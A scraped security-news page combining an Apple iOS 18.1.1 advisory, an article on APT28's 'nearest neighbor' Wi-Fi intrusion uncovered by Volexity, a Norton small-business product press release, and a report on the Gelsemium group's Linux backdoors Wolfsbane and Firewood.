SIGNATURE-----iQIzBAEBCAAdFiEEsz9altA7uTI+rE/qX+5d1TXaIvoFAmc9JGcACgkQX+5d1TXaIvqaMhAArOKmA61hgLNGofjznuKQo6Jc42iPl7a/ZiB2Tq5ynZKPIGmGiM3HdJQ8bbifOgpkmNcA3h1OUlXnnkbdehq6d8MzI9WSn6uHdgWZ5LqLMXOWgsEF5Hwwmm7zaqTaqMv4fV2J6w2wTcoL5XptxGXiEi37/GzcureD3hvL+nRAAzR6c/gRXmcEjGL7pVTNJA0C8VyY9kG+Uc7ia2m5Riux2jsYzWYppPfCwUFeo3bQDexG7WsiHa00OZN+HkNS5/1t/7hftJZ+w/PbVnEK23Dm962NQgCrcFKGnbjNGJQlIjl+xfbi6BuQ6lJJZAI+3WqPHXLAMCcae/DfERqXWnJu8fTMfCwCbQVx185Cih+mtH0oc4MtPtiZdhi8TxZpVGZHYjLJa9VANTrNzkAmFflnhAC4tAG2FXx3ld3t/8u9Fhv0oyTa5HlzVYJ/WJgK32eT7I1h7Oqrp49KZcMIM8H6ZwNXYOI+Rf7GXdEN2y9Qhb+IOvdilTrCTpzRl6Gu6fBwH0G0UGHRktnBPlryJdOg26J1iVBZg6/K/CSjQizWdDXN/Nq4YwI17Eq4HtFdtOtrs5n0bDz+fsfGbsieTyUz1BUet2xLzPECfD4nYEKmckD1d/dRylc3vK9YGOCp1nWDoPSKnmkU9Il2SFAIuEM9o60lCN7PMWBrC9zYXMAxFmY==+VKC-----END PGP SIGNATURE-----

Apple Security Advisory 11-19-2024-4

Apple Security Advisory 11-19-2024-3 - iOS 18.1.1 and iPadOS 18.1.1 addresses code execution vulnerabilities.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA256APPLE-SA-11-19-2024-3 iOS 18.1.1 and iPadOS 18.1.1iOS 18.1.1 and iPadOS 18.1.1 addresses the following issues.Information about the security content is also available athttps://support.apple.com/121752.Apple maintains a Security Releases page athttps://support.apple.com/100100 which lists recentsoftware updates with security advisories.JavaScriptCoreAvailable for: iPhone XS and later, iPad Pro 13-inch, iPad Pro 12.9-inch3rd generation and later, iPad Pro 11-inch 1st generation and later,iPad Air 3rd generation and later, iPad 7th generation and later, andiPad mini 5th generation and laterImpact: Processing maliciously crafted web content may lead to arbitrarycode execution. Apple is aware of a report that this issue may have beenactively exploited on Intel-based Mac systems.Description: The issue was addressed with improved checks.WebKit Bugzilla: 283063CVE-2024-44308: Clément Lecigne and Benoît Sevens of Google's ThreatAnalysis GroupWebKitAvailable for: iPhone XS and later, iPad Pro 13-inch, iPad Pro 12.9-inch3rd generation and later, iPad Pro 11-inch 1st generation and later,iPad Air 3rd generation and later, iPad 7th generation and later, andiPad mini 5th generation and laterImpact: Processing maliciously crafted web content may lead to a crosssite scripting attack. Apple is aware of a report that this issue mayhave been actively exploited on Intel-based Mac systems.Description: A cookie management issue was addressed with improved statemanagement.WebKit Bugzilla: 283095CVE-2024-44309: Clément Lecigne and Benoît Sevens of Google's ThreatAnalysis GroupThis update is available through iTunes and Software Update on youriOS device, and will not appear in your computer's Software Updateapplication, or in the Apple Downloads site. Make sure you have anInternet connection and have installed the latest version of iTunesfrom https://www.apple.com/itunes/iTunes and Software Update on the device will automatically checkApple's update server on its weekly schedule. When an update isdetected, it is downloaded and the option to be installed ispresented to the user when the iOS device is docked. We recommendapplying the update immediately if possible. SelectingDon't Install will present the option the next time you connectyour iOS device.The automatic update process may take up to a week depending onthe day that iTunes or the device checks for updates. You maymanually obtain the update via the Check for Updates buttonwithin iTunes, or the Software Update on your device.To check that the iPhone, iPod touch, or iPad has been updated:* Navigate to Settings* Select General* Select About. The version after applying this update will be"iOS 18.1.1 and iPadOS 18.1.1".All information is also posted on the Apple Security Releasesweb site: https://support.apple.com/100100.This message is signed with Apple's Product Security PGP key,and details are available at:https://www.apple.com/support/security/pgp/-----BEGIN PGP SIGNATURE-----iQIzBAEBCAAdFiEEsz9altA7uTI+rE/qX+5d1TXaIvoFAmc9JA8ACgkQX+5d1TXaIvrGzw/+PXf2fGgzCN5of6OYK0sWiJRRLZoL0uSZ9dOaD7I0/CyAx91Mv4OyH9Vveo9k84ZABNk4IO401WWLM8XSRSVILTcskT+SdXZrtOMYvmtUHUPKI35OWf1GBFdkgfnnFSRYf/B+WWb4PV0iO01lyFQVU5qDLcrUCAUQLwighfAX2yEn+Zml3NX6i2E5o2Rhc93Nac5a2cIcOGOSKrwsor0sh8NkAl9DcyPW6i6K3t59lUjiUY9XZQtEi6AyrChA84mo6Hb8wLwVIY17b8LVuruOSn3xg+Cc5eO5bOXp1O5lnR3dhuiZ2bl5BKawrp8+MDRsBZuTPS0k2Di3rmzuZ/GnvaQdtQKhcbOQ7tWW6evk/8TnFwlULaCr26OVbuLj0NWJ7GJYWpPuRWO0lFy9z9Fjdk4n+ptA7qmSWrhbdl+/uwUxJA5X58pVRWeWBExGP3S/ST/5YgAfZXBjHuDLiHKMOtQ3PktaMuEWhLFgGXNllXGQDihL4lS/XUQ1/E+mpWyY+kAbjtmCYlpez5MgeLkVv66yEWhOhsBMNIM+jkkRjktJo2SfhJMSryNLQlY37zn/VWf8Av+L60YoZhoMmx7DJLIr+HI257zbIE35CVZ+badn18d3eA+fq3RPtsDD8nlUePyZeNhEvc30Y5hXsIyK+Z0Ny+JgJfP1E6BeAJjjci0==ifwz-----END PGP SIGNATURE-----

Apple Security Advisory 11-19-2024-3

In a first, Russia's APT28 hacking group appears to have remotely breached the Wi-Fi of an espionage target by hijacking a laptop in another building across the street.

For determined hackers, sitting in a car outside a target's building and using radio equipment to breach its Wi-Fi network has long been an effective but risky technique. These risks became all too clear when spies working for Russia's GRU military intelligence agency were caught red-handed on a city street in the Netherlands in 2018 using an antenna hidden in their car's trunk to try to hack into the Wi-Fi of the Organization for the Prohibition of Chemical Weapons.

Since that incident, however, that same unit of Russian military hackers appears to have developed a new and far safer Wi-Fi hacking technique: Instead of venturing into radio range of their target, they found another vulnerable network in a building across the street, remotely hacked into a laptop in that neighboring building, and used that computer's antenna to break into the Wi-Fi network of their intended victim—a radio-hacking trick that never even required leaving Russian soil.

At the Cyberwarcon security conference in Arlington, Virginia, today, cybersecurity researcher Steven Adair will reveal how his firm, Volexity, discovered that unprecedented Wi-Fi hacking technique—what the firm is calling a “nearest neighbor attack"—while investigating a network breach targeting a customer in Washington, DC, in 2022. Volexity, which declined to name its DC customer, has since tied the breach to the Russian hacker group known as Fancy Bear, APT28, or Unit 26165. Part of Russia's GRU military intelligence agency, the group has been involved in notorious cases ranging from the breach of the Democratic National Committee in 2016 to the botched Wi-Fi hacking operation in which four of its members were arrested in the Netherlands in 2018.

In this newly revealed case from early 2022, Volexity ultimately discovered not only that the Russian hackers had jumped to the target network via Wi-Fi from a different compromised network across the street, but also that this prior breach had _also_ potentially been carried out over Wi-Fi from yet another network in the same building—a kind of “daisy-chaining” of network breaches via Wi-Fi, as Adair describes it.

“This is the first case we’ve worked where you have an attacker that’s extremely far away and essentially broke into other organizations in the US in physical proximity to the intended target, then pivoted over Wi-Fi to get into the target network across the street,” says Adair. “That’s a really interesting attack vector that we haven’t seen before.”

A slide describing the “nearest neighbor attack” that Russian hackers used to breach a DC network via Wi-Fi, from the Cyberwarcon presentation of Volexity founder Steven Adair.

Illustration: Volexity

Based on the hackers' targeting of individuals within their customer's network, Adair says that the GRU hackers appear to have been seeking intelligence about Ukraine. It's no coincidence, he says, that the daisy-chained Wi-Fi-based intrusion was carried out in the months just before and after Russia's initial full-scale invasion of Ukraine in February 2022.

Adair argues, though, that the case should serve as a broader warning about cybersecurity threats to Wi-Fi for high-value targets—and not just from the usual suspects loitering in the parking lot or the lobby. “Now we know that a motivated nation-state is doing this and has done it,” says Adair, “It puts on the radar that Wi-Fi security has to be ramped up a good bit.” He suggests organizations that might be the target of similar remote Wi-Fi attacks consider limiting the range of their Wi-Fi, changing the network's name to make it less obvious to potential intruders, or introducing other authentication security measures to limit access to employees.

Adair says that Volexity first began investigating the breach of its DC customer's network in the first months of 2022, when the company saw signs of repeated intrusions into the customer's systems by hackers who had carefully covered their tracks. Volexity's analysts eventually traced the compromise to a hijacked user's account connecting to a Wi-Fi access point in a far end of the building, in a conference room with external-facing windows. Adair says he personally scoured the area looking for the source of that connection. “I went there to physically run down what it could be. We looked at smart TVs, looked for devices in closets. Is someone in the parking lot? Is it a printer?” he says. “We came up dry.”

Only after the next intrusion, when Volexity managed to get more complete logs of the hackers' traffic, did its analysts solve the mystery: The company found that the hijacked machine which the hackers were using to dig around in its customer's systems was leaking the name of the domain on which it was hosted—in fact, the name of another organization just across the road. “At that point, it was 100 percent clear where it was coming from,” Adair says. “It's not a car in the street. It's the building next door.”

With the cooperation of that neighbor, Volexity investigated that second organization's network and found that a certain laptop was the source of the street-jumping Wi-Fi intrusion. The hackers had penetrated that device, which was plugged into a dock connected to the local network via Ethernet, and then switched on its Wi-Fi, allowing it to act as a radio-based relay into the target network. Volexity found that, to break into that target's Wi-Fi, the hackers had used credentials they'd somehow obtained online but had apparently been unable to exploit elsewhere, likely due to two-factor authentication.

Volexity eventually tracked the hackers on that second network to two possible points of intrusion. The hackers appeared to have compromised a VPN appliance owned by the other organization. But they had also broken into the organization's Wi-Fi from _another_ network's devices in the same building, suggesting that the hackers may have daisy-chained as many as three networks via Wi-Fi to reach their final target. “Who knows how many devices or networks they compromised and were doing this on,” says Adair.

In fact, even after Volexity evicted the hackers from their customer's network, the hackers tried again that spring to break in via Wi-Fi, this time attempting to access resources that were shared on the guest Wi-Fi network. “These guys were super persistent,” says Adair. He says that Volexity was able to detect this next breach attempt, however, and quickly lock out the intruders.

Volexity had presumed early on in its investigation that the hackers were Russian in origin due to their targeting of individual staffers at the customer organization focused on Ukraine. Then in April, fully two years after the original intrusion, Microsoft warned of a vulnerability in Windows' print spooler that had been used by Russia's APT28 hacker group—Microsoft refers to the group as Forest Blizzard—to gain administrative privileges on target machines. Remnants left behind on the very first computer Volexity had analyzed in the Wi-Fi-based breach of its customer exactly matched that technique. “It was an exact one-to-one match,” Adair says.

The notion that APT28 would be behind the daisy-chained Wi-Fi hacking makes sense, says John Hultquist, the founder of Cyberwarcon who also leads threat intelligence at Google-owned cybersecurity firm Mandiant and has long tracked the GRU hackers. He sees the technique Volexity uncovered as the natural evolution of APT28's “close-access” hacking methods, in which the GRU has sent small traveling teams in person to hack into target networks via Wi-Fi if other methods failed.

“This is essentially a close-access op like they’ve done in the past, but without the close access,” Hultquist says.

The switch to hacking via Wi-Fi from a remotely compromised device rather than physically placing a spy nearby represents a logical next step following the GRU's operational security disaster in 2018, when its hackers were caught in a car in The Hague attempting to hack the Organization for the Prohibition of Chemical Weapons in response to the OPCW's investigation of the attempted assassination of GRU defector Sergei Skripal. In that incident, the APT28 team was arrested and their devices were seized, revealing their travel around the world from Brazil to Malaysia to carry out similar close-access attacks.

“If a target is important enough, they’re willing to send people in person. But you don’t have to do that if you can come up with an alternative like what we’re seeing here,” Hultquist says. “This is potentially a major improvement for those operations, and it’s something we’ll probably see more of—if we haven’t already.”

Russian Spies Jumped From One Network to Another Via Wi-Fi in an Unprecedented Hack

PRESS RELEASE

TEMPE, Ariz. and PRAGUE, Nov. 21, 2024 /PRNewswire/ -- Norton, a leading Cyber Safety brand of Gen™ (NASDAQ: GEN), has launched the new Norton Small Business Premium, an all-in-one, easy-to-use cybersecurity plan specifically designed for entrepreneurs and small businesses. In addition to powerful device security, Norton Small Business Premium features 24/7 Business Tech Support, Financial Monitoring, Social Media Monitoring and more.

"More than half (56%)\* of small business owners report that cybersecurity threats impact their business. Unfortunately, not enough of these entrepreneurs and small businesses have cybersecurity in place, often due to their cost and complexity," said Leena Elias, Chief Product Officer at Gen. "Norton Small Business Premium not only takes the work out of securing your business, we also help when other IT issues crop up."

Cybersecurity is crucial for businesses to protect their sensitive data, networks, and digital assets from cyberthreats that can lead to unauthorized access to company networks, data breaches, financial losses, and reputation damage. To help protect businesses where they need it most, Norton Small Business Premium includes features such as:

*   24/7 Business Tech Support: Subscriptions include access to Norton experts five time as year. These experts are available 24/7 for remote IT support on your devices, network, and software.
    
*   Financial Monitoring: Get alerts so you can act quickly if we detect suspicious transactions on your company's bank accounts.   
    
*   Social Media Monitoring: Prevent your business social media profiles from being taken over by regularly monitoring for suspicious activities on your accounts. 
    
*   Device Security: Real-time antivirus helps protect your devices, and our firewall\* helps block cybercriminals from accessing your network.
    
*   Secure VPN: Work online and access websites more safely at home or on the go with bank-grade VPN encryption.
    
*   Additional features include Password Manager, Cloud Backup, performance enhancements and more.
    

Norton Small Business Premium doesn't require an IT specialist or cybersecurity knowledge to use. It's easy to install and runs seamlessly in the background on Windows, Mac, Android, and iOS, allowing you to focus on your business without slowing down operations. 

Norton recommends 10 tips for small business Cyber Safety: 

1.  Learn to spot signs of phishing and teach your employees
    
2.  Only click links or download attachments from known sources
    
3.  Avoid sharing personal information or private company data over email
    
4.  Always keep your operating system, applications, and drivers up-to-date
    
5.  Make sure your WiFi network is protected with a strong password
    
6.  Regularly back up your data
    
7.  Require employees to use a VPN when doing company work on a public WiFi network (think airports and coffee shops)
    
8.  Always use multi-factor-authentication for an extra layer of protection
    
9.  Don't neglect mobile devices – make sure they are password protected and use security software
    
10.  Invest in a cybersecurity solution such as Norton Small Business Premium
    

Norton Small Business Premium is available now with prices starting at $299.99/year with options for 6, 10 or 20-device plans. For more information, please visit norton.com/products/small-business.

About Norton   
Norton is a leading Cyber Safety brand of Gen™ (NASDAQ: GEN), a global company dedicated to powering Digital Freedom through its family of trusted consumer brands including Norton, Avast, LifeLock, Avira, AVG, ReputationDefender and CCleaner. Gen empowers people to live their digital lives safely, privately, and confidently today and for generations to come. Gen brings award-winning products and services in cybersecurity, online privacy and identity protection to more than 500 million users in more than 150 countries. Learn more at Norton.com and GenDigital.com.

You May Also Like

Norton Introduces Small Business Premium for Business-Grade Security

In a sign of the times, a backdoor malware whose ancestors date back to 2005 has morphed to target Linux systems.

Source: Imagebroker via Alamy Stock Photo

Two well-documented Chinese backdoors have recently been modified to operate on Linux systems.

The advanced persistent threat (APT) "Gelsemium" is a decade old now, and the new malware tied to the group, Wolfsbane and Firewood, can trace their lineage back to 2005. Throughout its history, Gelsemium has focused on information gathering from Windows systems. Now, it has adjusted its tooling to operate just as effectively in Linux environments.

This, experts say, is merely the latest manifestation of a long-brewing trend.

"The Linux malware landscape is certainly accelerating," says Jason Soroko, senior fellow at Sectigo. "The increase does make sense, as organizations have heavily adopted Linux for their back office server needs, both on premises and in the cloud. Adversaries are developing cross-platform malware to maximize their reach."

**The Wolfsbane & Firewood Backdoors**

The first public sample of the first new backdoor, dubbed Wolsbane, was uploaded to VirusTotal on March 6, 2023, from Taiwan, with later uploads coming from the Philippines and Singapore (historically, Gelsemium has targeted entities in the Middle East and East Asia).

Contextual evidence suggests that the malware's authors have been exploiting vulnerabilities in Java Web applications to access public-facing Apache Tomcat servers. And a deeper look inside reveals unmistakable overlaps with Gelsevirine, a Windows backdoor known to be used by Gelsemium. In essence, the Wolfsbane malware was a Linux port of Gelsevirine, featuring a modified Beurk Experimental Unix RootKit to hide its various malicious activities.

Alongside Wolfsbane, though not definitively attributable to Gelsemium, was a second Linux-ported backdoor, Firewood. An addition to its varied and typical backdoor capabilities, it possesses a kernel-level rootkit. 

Most interestingly, Firewood appears to be the latest evolution of "Project Wood," a phylum of a backdoor that traces back generations to a program first compiled in January 2005. The latest manifestation of Project Wood before Firewood, NSPX30, was reported earlier this year.

**What Explains the Surge in Linux Cyber Threats?**

Cyber threats rise across the board every year, but the particular rise in Linux-based threats stands out. 

Since at least 2020, vendors have tracked double- and triple-digit year-over-year increases in Linux attacks. In its annual "Global Threat Report," Elastic Security has regularly found that the Linux threat landscape vastly outpaces that of macOS, more closely resembling Windows in terms of sheer volume of attacks. In 2023, for example, it found that 54% of endpoint attacks affected Linux-based devices, compared with just 39% for Windows.

Over the past 12 months, around 32% of malware infections have targeted Linux, according to Jake King, Elastic's head of threat and security intelligence. "While steadily increasing, we are seeing greater volumes of attacks and, in some cases, with greater levels of sophistication. The XZ/Liblzma backdoor discovered by researchers earlier this year shows the desire of adversaries to compromise Linux hosts, likely for a variety of reasons, growing in sophistication to supply chain compromise," he says.

The rising threats to Linux may be attributable to an increasing adoption of Linux in enterprise environments, as Soroko alluded to, or the generally improving state of Windows security — the explanation ESET went with in its blog post — or an explanation even simpler.

"One of the reasons for growing observations can always be targeted to adversarial focus changing, but it is also likely that security tooling and telemetry for Linux hosts are improving at a pace whereby attacks are identified earlier, with a greater level of context," King suggests. For example, "A growing trend for threat observations this year was Impaired Defenses for Linux, showing that adversaries are specifically looking to bypass security tools native to Linux or disable third-party security tools. This is important, as it shows we're exposing many attacks that would have previously gone undetected years ago."

**About the Author**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

Tag

#mac